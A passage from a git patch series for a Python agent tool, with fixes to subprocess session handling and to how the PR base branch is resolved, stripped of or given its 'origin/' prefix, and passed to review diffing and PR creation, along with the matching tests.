start_new_session=True ≡ setsid without post-fork Python (preexec_fn is + # unsafe in a multithreaded parent). RLIMIT_NPROC was only defense-in-depth. proc = subprocess.Popen( # noqa: S603 argv, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, - preexec_fn=_preexec, + start_new_session=True, ) try: stdout, stderr = proc.communicate(input=stdin_text, timeout=limit) @@ -283,8 +275,8 @@ def _preexec() -> None: except OSError: pass try: - stdout, stderr = proc.communicate() - except OSError: + stdout, stderr = proc.communicate(timeout=5) + except (subprocess.TimeoutExpired, OSError): stdout, stderr = "", "" # returncode 124 matches parse_status's external-timeout convention. return subprocess.CompletedProcess(argv, 124, stdout or "", stderr or "") diff --git a/tests/test_lane.py b/tests/test_lane.py index 20d0e1c..3a8b682 100644 --- a/tests/test_lane.py +++ b/tests/test_lane.py @@ -1,5 +1,6 @@ from __future__ import annotations +import concurrent.futures import threading import time from dataclasses import dataclass @@ -717,6 +718,25 @@ def try_acquire() -> None: assert acquired["ok"], "lock held around runner must be released after timeout" +def test_default_runner_concurrent_workers_no_deadlock() -> None: + """Real Popen from concurrent threads must not hang (no preexec_fn hazard). + + Round 52: preexec_fn after fork in a multithreaded parent can deadlock on + locks held by sibling threads. Exercise the real _default_runner from two + ThreadPoolExecutor workers with a genuine subprocess. + """ + t0 = time.monotonic() + with concurrent.futures.ThreadPoolExecutor(max_workers=2) as pool: + futures = [ + pool.submit(_default_runner, ["true"], None), + pool.submit(_default_runner, ["true"], None), + ] + results = [f.result(timeout=10) for f in futures] + elapsed = time.monotonic() - t0 + assert elapsed < 10.0, f"concurrent runners took too long: {elapsed:.2f}s" + assert all(r.returncode == 0 for r in results) + + def test_run_in_tmux_timeout_kills_session(monkeypatch: pytest.MonkeyPatch) -> None: """Unbounded pane_dead polling must stop at VENDOR_RUN_TIMEOUT_SEC.""" monkeypatch.setattr(lane_mod, "VENDOR_RUN_TIMEOUT_SEC", 0.4) From e0b6337034fe4440fc33d1b929b9a023d7a99bfc Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 02:14:56 -0300 Subject: [PATCH 32/47] Thread the resolved checkout base through review diffing and PR-open. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit error_fix_act.py checks out an error-fix branch from either an explicit continuation ref or, when there is none, whatever the fresh clone's HEAD already is — but run_core.py's review-diff base was always probed from a fixed origin/develop-first candidate list, and fixer_act.py's pr.open payload never set "base" at all, so gh pr create fell back to GitHub's own default branch. The diff a review gate approved was not guaranteed to be the diff of the PR that actually got opened whenever the real checkout base differed from origin/develop. Resolve the canonical base once, at worktree-creation time, from the clone's own refs/remotes/origin/HEAD symref (no extra git call), and persist it on the task's existing ref field. Thread that same value into _collect_review_diff/build_review_spec_file as an explicit base_ref (falling back to the old candidate-probe only when absent), and into the pr.open payload's "base". On resume, prefer GitHub's own baseRefName over the locally resolved value when they disagree, and self-heal task.ref from it. GitHub's --base wants a bare branch name while local git resolution needs the origin/-prefixed remote-tracking form, so strip the "origin/" prefix specifically at the point where the resolved base becomes the pr.open payload's "base" — task.ref itself, and everything run_core.py consumes from it, keep the origin/-prefixed form. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 22 +++- src/agent_cli/fixer_act.py | 47 ++++++++- src/agent_cli/github_act.py | 22 +++- src/agent_cli/run_core.py | 39 +++++-- tests/test_error_fix_act.py | 39 +++++++ tests/test_fixer_act.py | 180 +++++++++++++++++++++++++++++++++ tests/test_github_act.py | 40 ++++++++ tests/test_run.py | 37 +++++++ 8 files changed, 410 insertions(+), 16 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 17288af..59e385c 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -349,6 +349,24 @@ def _run_git(runner: Runner, argv: list[str], fallback: str) -> str | None: return detail or fallback +def _resolved_default_base(staging: Path) -> str | None: + """Best-effort: read the origin default-branch symref `git clone` writes to + .git/refs/remotes/origin/HEAD, without shelling out (avoids an extra runner + call whose ordering every existing caller would otherwise have to assert on). + Returns e.g. "origin/develop", or None if unavailable — callers fall back to + the candidate-list probe in that case (same as today's behavior).""" + ref_file = staging / ".git" / "refs" / "remotes" / "origin" / "HEAD" + try: + content = ref_file.read_text(encoding="utf-8").strip() + except OSError: + return None + prefix = "ref: refs/remotes/" + if not content.startswith(prefix): + return None + name = content[len(prefix):].strip() + return name or None + + def scan_error_fix(store: Store, runner: Runner) -> list[str]: with store.exclusive("error-fix-act:" + store.device_id()): return _scan_error_fix(store, runner) @@ -409,13 +427,14 @@ def _scan_error_fix(store: Store, runner: Runner) -> list[str]: continue checkout = ["git", "-C", str(staging), "checkout", "-B", head] existing_task = _lookup_implement_task(store, session_id, error_id) + existing_ref = None if existing_task is not None: existing_row = store.row("task", existing_task) - existing_ref = None if existing_row is not None: existing_ref = _nonempty_str(existing_row.get("ref")) if existing_ref is not None: checkout.append(existing_ref) + resolved_base = existing_ref if existing_ref is not None else _resolved_default_base(staging) error = _run_git( runner, checkout, @@ -431,6 +450,7 @@ def _scan_error_fix(store: Store, runner: Runner) -> list[str]: session_id, error_id, f"error-fix {error_id[:8]}", + ref=resolved_base, ) except StoreError as exc: shutil.rmtree(staging, ignore_errors=True) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 85dad8a..2e3acde 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -165,6 +165,7 @@ def template_pr_open_payload( brief: str, fingerprint: str, title_suffix: str | None = None, + base: str | None = None, ) -> dict[str, Any]: """Build pr.open payload (repo/title/head/body) per CONTRIBUTING.md.""" short = error_id[:8] @@ -210,6 +211,7 @@ def template_pr_open_payload( "title": title, "head": head, "body": body, + "base": base, } @@ -270,6 +272,33 @@ def _pr_open_number(store: Store, *, head: str, repo: str) -> int | None: return None +def _pr_open_base(store: Store, *, head: str, repo: str) -> str | None: + """Return result.base from a done pr.open for head, or None if missing.""" + origin = store.device_id() + for row in store.rows("activity"): + if row.get("_origin_device_id") != origin: + continue + if row.get("type") != "pr.open": + continue + if row.get("execution_status") != "done": + continue + payload = row.get("payload") + if ( + not isinstance(payload, dict) + or payload.get("head") != head + or payload.get("repo") != repo + ): + continue + result = row.get("result") + if not isinstance(result, dict): + continue + base = result.get("base") + if isinstance(base, str) and base: + return base + continue + return None + + def _pr_open_pending_row_exists(store: Store, *, head: str, repo: str) -> bool: """True when a mid-flight pr.open (execution_status=pending) exists for head.""" origin = store.device_id() @@ -1039,6 +1068,12 @@ def _drive_one( else {} ) fingerprint = _nonempty_str(seen_payload.get("fingerprint")) or "" + resolved_ref = _nonempty_str(task.get("ref")) + pr_base = ( + resolved_ref.removeprefix("origin/") + if resolved_ref is not None + else None + ) pr_payload = template_pr_open_payload( session_id=session_id, repo=repo, @@ -1046,6 +1081,7 @@ def _drive_one( brief=brief, fingerprint=fingerprint, title_suffix=str(task.get("title") or ""), + base=pr_base, ) insert_pr_open_and_scan( store, @@ -1077,8 +1113,10 @@ def _drive_one( ): try: pr_number = _pr_open_number(store, head=pr_head, repo=repo) + pr_base = _pr_open_base(store, head=pr_head, repo=repo) + task = store.row("task", tid) or task + dirty = False if pr_number is not None: - task = store.row("task", tid) or task task_payload = ( task.get("payload") if isinstance(task.get("payload"), dict) @@ -1088,7 +1126,12 @@ def _drive_one( task_payload = dict(task_payload) task_payload["pr_number"] = pr_number task["payload"] = task_payload - store.write("task", "update", tid, main_mod._strip(task)) + dirty = True + if pr_base and pr_base != task.get("ref"): + task["ref"] = pr_base + dirty = True + if dirty: + store.write("task", "update", tid, main_mod._strip(task)) except (StoreError, OSError, SystemExit) as exc: return f"error-fix-work {tid} pr.open-error ({exc})" diff --git a/src/agent_cli/github_act.py b/src/agent_cli/github_act.py index e114148..69c4b3b 100644 --- a/src/agent_cli/github_act.py +++ b/src/agent_cli/github_act.py @@ -202,7 +202,7 @@ def _run_pr_open(store: Store, runner: Runner, row: dict[str, Any]) -> str: "--repo", repo, "--json", - "number,url,state,isDraft", + "number,url,state,isDraft,baseRefName", ] try: completed = runner(view_argv) @@ -237,7 +237,17 @@ def _run_pr_open(store: Store, runner: Runner, row: dict[str, Any]) -> str: raise _GhError("existing pull request is not open") if not _is_draft(viewed.get("isDraft")): raise _GhError("existing pull request is not a draft") - result = {"repo": repo, "number": number, "url": url, "draft": True} + real_base = viewed.get("baseRefName") + resolved_result_base = ( + real_base if isinstance(real_base, str) and real_base else base + ) + result = { + "repo": repo, + "number": number, + "url": url, + "draft": True, + "base": resolved_result_base, + } _mark(store, row, status="done", result=result) return f"pr.open {rid} done number={number}" create_body = _with_marker(body, rid) @@ -259,7 +269,13 @@ def _run_pr_open(store: Store, runner: Runner, row: dict[str, Any]) -> str: argv.extend(["--base", base]) stdout = _gh_text(argv, runner) url, number = _parse_url_number(stdout) - result = {"repo": repo, "number": number, "url": url, "draft": True} + result = { + "repo": repo, + "number": number, + "url": url, + "draft": True, + "base": base, + } _mark(store, row, status="done", result=result) return f"pr.open {rid} done number={number}" except _GhError as exc: diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 0b77688..ba651b9 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -312,7 +312,7 @@ def _interpret_lane( def _collect_review_diff( - cwd: str, exec_argv: ExecArgv + cwd: str, exec_argv: ExecArgv, base_ref: str | None = None ) -> tuple[str, list[str], bool]: """Materialize unified diff + changed paths against a base branch. @@ -322,19 +322,29 @@ def _collect_review_diff( When *no* candidate resolves at all, that counts as a probe failure (not expected control flow), so probes_ok becomes False. """ - base_ref: str | None = None - for candidate in _BASE_CANDIDATES: - completed = exec_argv(["git", "rev-parse", "--verify", candidate], cwd=cwd) + explicit = base_ref + resolved: str | None = None + if explicit is not None and str(explicit).strip(): + completed = exec_argv( + ["git", "rev-parse", "--verify", explicit], cwd=cwd + ) if int(getattr(completed, "returncode", 1)) == 0: - base_ref = candidate - break + resolved = explicit + if resolved is None: + for candidate in _BASE_CANDIDATES: + completed = exec_argv( + ["git", "rev-parse", "--verify", candidate], cwd=cwd + ) + if int(getattr(completed, "returncode", 1)) == 0: + resolved = candidate + break chunks: list[str] = [] paths: list[str] = [] probes_ok = True - if base_ref is None: + if resolved is None: probes_ok = False - if base_ref is not None: - mb = exec_argv(["git", "merge-base", "HEAD", base_ref], cwd=cwd) + if resolved is not None: + mb = exec_argv(["git", "merge-base", "HEAD", resolved], cwd=cwd) mb_rc = int(getattr(mb, "returncode", 1)) base_sha = str(getattr(mb, "stdout", "") or "").strip() if mb_rc != 0 or not base_sha: @@ -394,9 +404,12 @@ def build_review_spec_file( implement_spec_file: str | None, cwd: str, exec_argv: ExecArgv, + base_ref: str | None = None, ) -> str: """Write a four-part review prompt under $AGENT_HOME/review-work//; return its path.""" - diff_text, changed_paths, probes_ok = _collect_review_diff(cwd, exec_argv) + diff_text, changed_paths, probes_ok = _collect_review_diff( + cwd, exec_argv, base_ref + ) if not probes_ok: raise ReviewDiffUnavailableError( "git probe failed while collecting the review diff" @@ -942,6 +955,11 @@ def prepare_spine_agent_step( launch_spec = spec_file if role in _REVIEW_ROLES: try: + base_ref = None + if is_error_fix_originated(snap): + from .error_fix_act import _nonempty_str + + base_ref = _nonempty_str(task.get("ref")) launch_spec = build_review_spec_file( store, tid, @@ -950,6 +968,7 @@ def prepare_spine_agent_step( implement_spec_file=spec_file, cwd=run_cwd, exec_argv=exec_argv, + base_ref=base_ref, ) except EmptyReviewDiffError as exc: working = main_mod._find_working_agent( diff --git a/tests/test_error_fix_act.py b/tests/test_error_fix_act.py index 4d95c7d..05f3dfb 100644 --- a/tests/test_error_fix_act.py +++ b/tests/test_error_fix_act.py @@ -130,6 +130,45 @@ def runner(argv: list[str]) -> Completed: assert len(store.rows("task")) == 1 +def test_scan_error_fix_persists_origin_default_base_as_ref(tmp_path: Path) -> None: + """Fresh clone: task.ref must record origin/HEAD (e.g. origin/main), no extra runner call.""" + store = Store(tmp_path) + _runner_session(store) + _seen(store) + _fix(store) + calls: list[list[str]] = [] + + def runner(argv: list[str]) -> Completed: + calls.append(list(argv)) + if argv[:3] == ["git", "clone", "--"]: + destination = Path(argv[-1]) + (destination / ".git").mkdir(parents=True) + head_ref = destination / ".git" / "refs" / "remotes" / "origin" / "HEAD" + head_ref.parent.mkdir(parents=True, exist_ok=True) + head_ref.write_text("ref: refs/remotes/origin/main\n", encoding="utf-8") + return Completed(0, "", "") + + lines = scan_error_fix(store, runner) + tasks = store.rows("task") + assert len(tasks) == 1 + task_id = tasks[0]["id"] + staging = tmp_path / "error-fix-work" / "pending-fix-1" + worktree = tmp_path / "error-fix-work" / task_id + assert lines == [f"error.fix fix-1 task={task_id} worktree={worktree}"] + assert calls == [ + ["git", "clone", "--", "https://github.com/org/app.git", str(staging)], + [ + "git", + "-C", + str(staging), + "checkout", + "-B", + "error-fix-error-se", + ], + ] + assert tasks[0]["ref"] == "origin/main" + + def test_scan_error_fix_prints_valid_line_fingerprint(tmp_path: Path) -> None: store = Store(tmp_path) _runner_session(store) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index b00603b..36310e8 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -871,6 +871,84 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert _checklist(tmp_path, tid)["pushed"] == "ja" +def test_fixer_strips_origin_prefix_from_pr_open_base( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Fresh pr.open payload base must be bare; task.ref may stay origin/-prefixed.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pushed_sha = "abcdef1234567890abcdef1234567890abcdef12" + + def fake_push(*, cwd: str, runner, expected_branch=None, expected_repo=None): # type: ignore[no-untyped-def] + return pushed_sha + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "pr-reviewer-quality") + vendor = str(kwargs.get("vendor") or "grok") + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["ref"] = "origin/main" + from agent_cli import main as main_mod + + store.write("task", "update", tid, main_mod._strip(task)) + + task = store.row("task", tid) + assert task is not None + assert task.get("ref") == "origin/main" + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + + pr_opens = [ + row + for row in store.rows("activity") + if isinstance(row, dict) and row.get("type") == "pr.open" + ] + assert pr_opens, "expected a pr.open activity row" + payload = pr_opens[0].get("payload") + assert isinstance(payload, dict) + assert payload.get("base") == "main" + updated = store.row("task", tid) + assert updated is not None + assert updated.get("ref") == "origin/main" + finally: + store.close() + + def test_fixer_defers_when_worktree_not_ready( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -1225,6 +1303,25 @@ def test_template_pr_open_payload_title_and_body() -> None: assert len(expected_suffix) == 72 +def test_template_pr_open_payload_base_field() -> None: + """base keyword is threaded into the payload; omitted/None stays None.""" + kwargs = dict( + session_id="sess-12345678", + repo="org/app", + error_id="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb", + brief="brief", + fingerprint="fp-1", + ) + with_base = template_pr_open_payload( + **kwargs, base="origin/some-other-branch" + ) + assert with_base["base"] == "origin/some-other-branch" + omitted = template_pr_open_payload(**kwargs) + assert omitted["base"] is None + explicit_none = template_pr_open_payload(**kwargs, base=None) + assert explicit_none["base"] is None + + def test_template_pr_open_payload_brief_first_sentence_only() -> None: """Visible EN/DE summaries keep only the first brief sentence (CONTRIBUTING cap).""" brief = ( @@ -1818,6 +1915,89 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] store.close() +def test_fixer_backfills_task_ref_from_pr_open_real_base( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """When done pr.open result.base differs from task.ref, next scan heals task.ref.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pr_head = f"error-fix-{ERROR_ID[:8]}" + activity_id = str(uuid.uuid4()) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: ( + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + ), + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + # Stale local resolution — GitHub's real base will disagree. + task["ref"] = "origin/develop" + from agent_cli import main as main_mod + + store.write("task", "update", tid, main_mod._strip(task)) + + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": "sess-1", + "type": "pr.open", + "payload": { + "repo": "org/app", + "title": "sess-1 - Fix timeout", + "head": pr_head, + "body": "EN:\nDraft\n", + "base": "origin/develop", + }, + "execution_status": "done", + "result": { + "repo": "org/app", + "number": 42, + "url": "https://github.com/org/app/pull/42", + "draft": True, + "base": "origin/main", + }, + }, + ) + assert _pr_open_row_exists(store, head=pr_head, repo="org/app") + + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + updated = store.row("task", tid) + assert updated is not None + assert updated.get("ref") == "origin/main" + finally: + store.close() + + def test_fixer_persists_pr_number_and_queues_gate_findings( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_github_act.py b/tests/test_github_act.py index de1c8cf..e344548 100644 --- a/tests/test_github_act.py +++ b/tests/test_github_act.py @@ -136,6 +136,46 @@ def runner3(argv: list[str]) -> Completed: assert row2["result"]["draft"] is True +def test_pr_open_resume_prefers_github_base_ref_name(tmp_path: Path) -> None: + """On resume, result.base must be GitHub's baseRefName, not the payload base.""" + store = Store(tmp_path) + _owned_session(store) + act_id = "pr-base-resume" + _pending( + store, + act_id, + "pr.open", + { + "repo": "dfxswiss/agent", + "title": "Base mismatch", + "head": "feat-github", + "body": "Please review", + "base": "origin/develop", + }, + ) + + def runner(argv: list[str]) -> Completed: + if argv[:3] == ["gh", "pr", "view"]: + assert "baseRefName" in argv[argv.index("--json") + 1] + body = { + "number": 7, + "url": "https://github.com/dfxswiss/agent/pull/7", + "state": "OPEN", + "isDraft": True, + "baseRefName": "main", + } + return Completed(0, json.dumps(body), "") + raise AssertionError(f"create must not run: {argv}") + + lines = scan_github(store, runner) + assert lines == [f"pr.open {act_id} done number=7"] + row = store.row("activity", act_id) + assert row is not None + assert row["execution_status"] == "done" + assert row["result"]["base"] == "main" + assert row["result"]["base"] != "origin/develop" + + def test_pr_open_view_auth_error_no_create(tmp_path: Path) -> None: store = Store(tmp_path) _owned_session(store) diff --git a/tests/test_run.py b/tests/test_run.py index 90d3eb3..44286e6 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -560,6 +560,43 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: assert probes_ok is False +def test_collect_review_diff_explicit_base_wins_over_candidates( + tmp_path: Path, +) -> None: + """An explicit base_ref must be used even when origin/develop also resolves.""" + hunk = "diff --git a/src/foo.py b/src/foo.py\n+explicit-base-hunk\n" + calls: list[list[str]] = [] + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + calls.append(list(argv)) + if argv[:3] == ["git", "rev-parse", "--verify"]: + # Both the explicit base and origin/develop resolve — explicit must win. + if argv[3] in ("origin/main", "origin/develop"): + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, "deadbeef\n", "") + if argv[:2] == ["git", "diff"]: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, hunk, "") + return Completed(0, "", "") + + _diff, _paths, probes_ok = _collect_review_diff( + str(tmp_path), fake_exec, base_ref="origin/main" + ) + assert probes_ok is True + assert ["git", "rev-parse", "--verify", "origin/main"] in calls + assert ["git", "merge-base", "HEAD", "origin/main"] in calls + assert not any( + c[:3] == ["git", "rev-parse", "--verify"] and c[3] == "origin/develop" + for c in calls + ) + assert not any( + c[:2] == ["git", "merge-base"] and "origin/develop" in c for c in calls + ) + + def test_collect_review_diff_empty_merge_base_stdout_marks_probes_not_ok( tmp_path: Path, ) -> None: From c393b10aab45eaccadc8d35c789c2067dbdc67b3 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 02:26:08 -0300 Subject: [PATCH 33/47] Re-prefix the bare PR base before healing task.ref from it. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit _pr_open_base() reads result.base verbatim, and both real producers (the fresh-create path's already-stripped payload base, and the resume path's GitHub baseRefName) only ever write a bare branch name. The heal block wrote that bare value straight into task["ref"], which is otherwise always consumed in origin/-prefixed remote-tracking form by run_core.py's local git rev-parse/diffing — silently reintroducing, in the opposite direction, the same wrong-base bug this round fixed. Normalize a bare pr_base to origin/ before comparing/writing. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 8 +++++--- tests/test_fixer_act.py | 22 +++++++++++++++++++++- 2 files changed, 26 insertions(+), 4 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 2e3acde..10dd6ec 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -1127,9 +1127,11 @@ def _drive_one( task_payload["pr_number"] = pr_number task["payload"] = task_payload dirty = True - if pr_base and pr_base != task.get("ref"): - task["ref"] = pr_base - dirty = True + if pr_base: + normalized_pr_base = pr_base if "/" in pr_base else f"origin/{pr_base}" + if normalized_pr_base != task.get("ref"): + task["ref"] = normalized_pr_base + dirty = True if dirty: store.write("task", "update", tid, main_mod._strip(task)) except (StoreError, OSError, SystemExit) as exc: diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 36310e8..35268db 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -1976,7 +1976,7 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] "number": 42, "url": "https://github.com/org/app/pull/42", "draft": True, - "base": "origin/main", + "base": "main", }, }, ) @@ -1994,6 +1994,26 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] updated = store.row("task", tid) assert updated is not None assert updated.get("ref") == "origin/main" + + from agent_cli.run_core import _collect_review_diff + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:3] == ["git", "rev-parse", "--verify"]: + if argv[3] == "origin/main": + return Completed(0, "abc123\n", "") + return Completed(1, "", "") + if argv[:2] == ["git", "merge-base"]: + return Completed(0, "deadbeef\n", "") + if argv[:2] == ["git", "diff"]: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + return Completed(0, "", "") + + _diff, _paths, probes_ok = _collect_review_diff( + str(tmp_path), fake_exec, base_ref=updated.get("ref") + ) + assert probes_ok is True finally: store.close() From 06ef0b57b0c9345ab0eca335a46c508d790a5072 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 02:35:03 -0300 Subject: [PATCH 34/47] Detect an already-prefixed PR base by prefix, not by slash presence. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit "/" in pr_base wrongly treated a bare GitFlow-style branch name like release/1.0 as already origin/-prefixed, skipping re-prefixing and writing the bare value into task["ref"] — reproducing the original bug for any slash-containing branch, and able to overwrite an already correct origin/release/1.0 back down to the wrong bare form. Check pr_base.startswith("origin/") instead. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 4 +- tests/test_fixer_act.py | 85 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 88 insertions(+), 1 deletion(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 10dd6ec..675c393 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -1128,7 +1128,9 @@ def _drive_one( task["payload"] = task_payload dirty = True if pr_base: - normalized_pr_base = pr_base if "/" in pr_base else f"origin/{pr_base}" + normalized_pr_base = ( + pr_base if pr_base.startswith("origin/") else f"origin/{pr_base}" + ) if normalized_pr_base != task.get("ref"): task["ref"] = normalized_pr_base dirty = True diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 35268db..8ca41b8 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -2018,6 +2018,91 @@ def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: store.close() +def test_fixer_backfills_task_ref_from_slash_containing_bare_base( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Bare GitFlow-style base (slash in name) must still get a single origin/ prefix.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + pr_head = f"error-fix-{ERROR_ID[:8]}" + activity_id = str(uuid.uuid4()) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr( + "agent_cli.git_act.push_branch", + lambda *, cwd, runner, expected_branch=None, expected_repo=None: ( + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + ), + ) + monkeypatch.setattr("agent_cli.run_core.launch", _pass_lane) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + # Stale local resolution — GitHub's real base will disagree. + task["ref"] = "origin/develop" + from agent_cli import main as main_mod + + store.write("task", "update", tid, main_mod._strip(task)) + + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": "sess-1", + "type": "pr.open", + "payload": { + "repo": "org/app", + "title": "sess-1 - Fix timeout", + "head": pr_head, + "body": "EN:\nDraft\n", + "base": "origin/develop", + }, + "execution_status": "done", + "result": { + "repo": "org/app", + "number": 42, + "url": "https://github.com/org/app/pull/42", + "draft": True, + "base": "release/1.0", + }, + }, + ) + assert _pr_open_row_exists(store, head=pr_head, repo="org/app") + + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + updated = store.row("task", tid) + assert updated is not None + assert updated.get("ref") == "origin/release/1.0" + assert updated.get("ref") != "release/1.0" + assert updated.get("ref") != "origin/origin/release/1.0" + finally: + store.close() + + def test_fixer_persists_pr_number_and_queues_gate_findings( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From b4c5c7a4c8103e6b807abc21fd63714f85c0a11c Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Thu, 3 Sep 2026 02:43:46 -0300 Subject: [PATCH 35/47] Accept the new base_ref keyword in the parallel-pair test's fake build stub. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- tests/test_fixer_act.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 8ca41b8..921e599 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -3202,7 +3202,7 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] stderr="", ) - def fake_build(store, tid_, *, role, round_num, 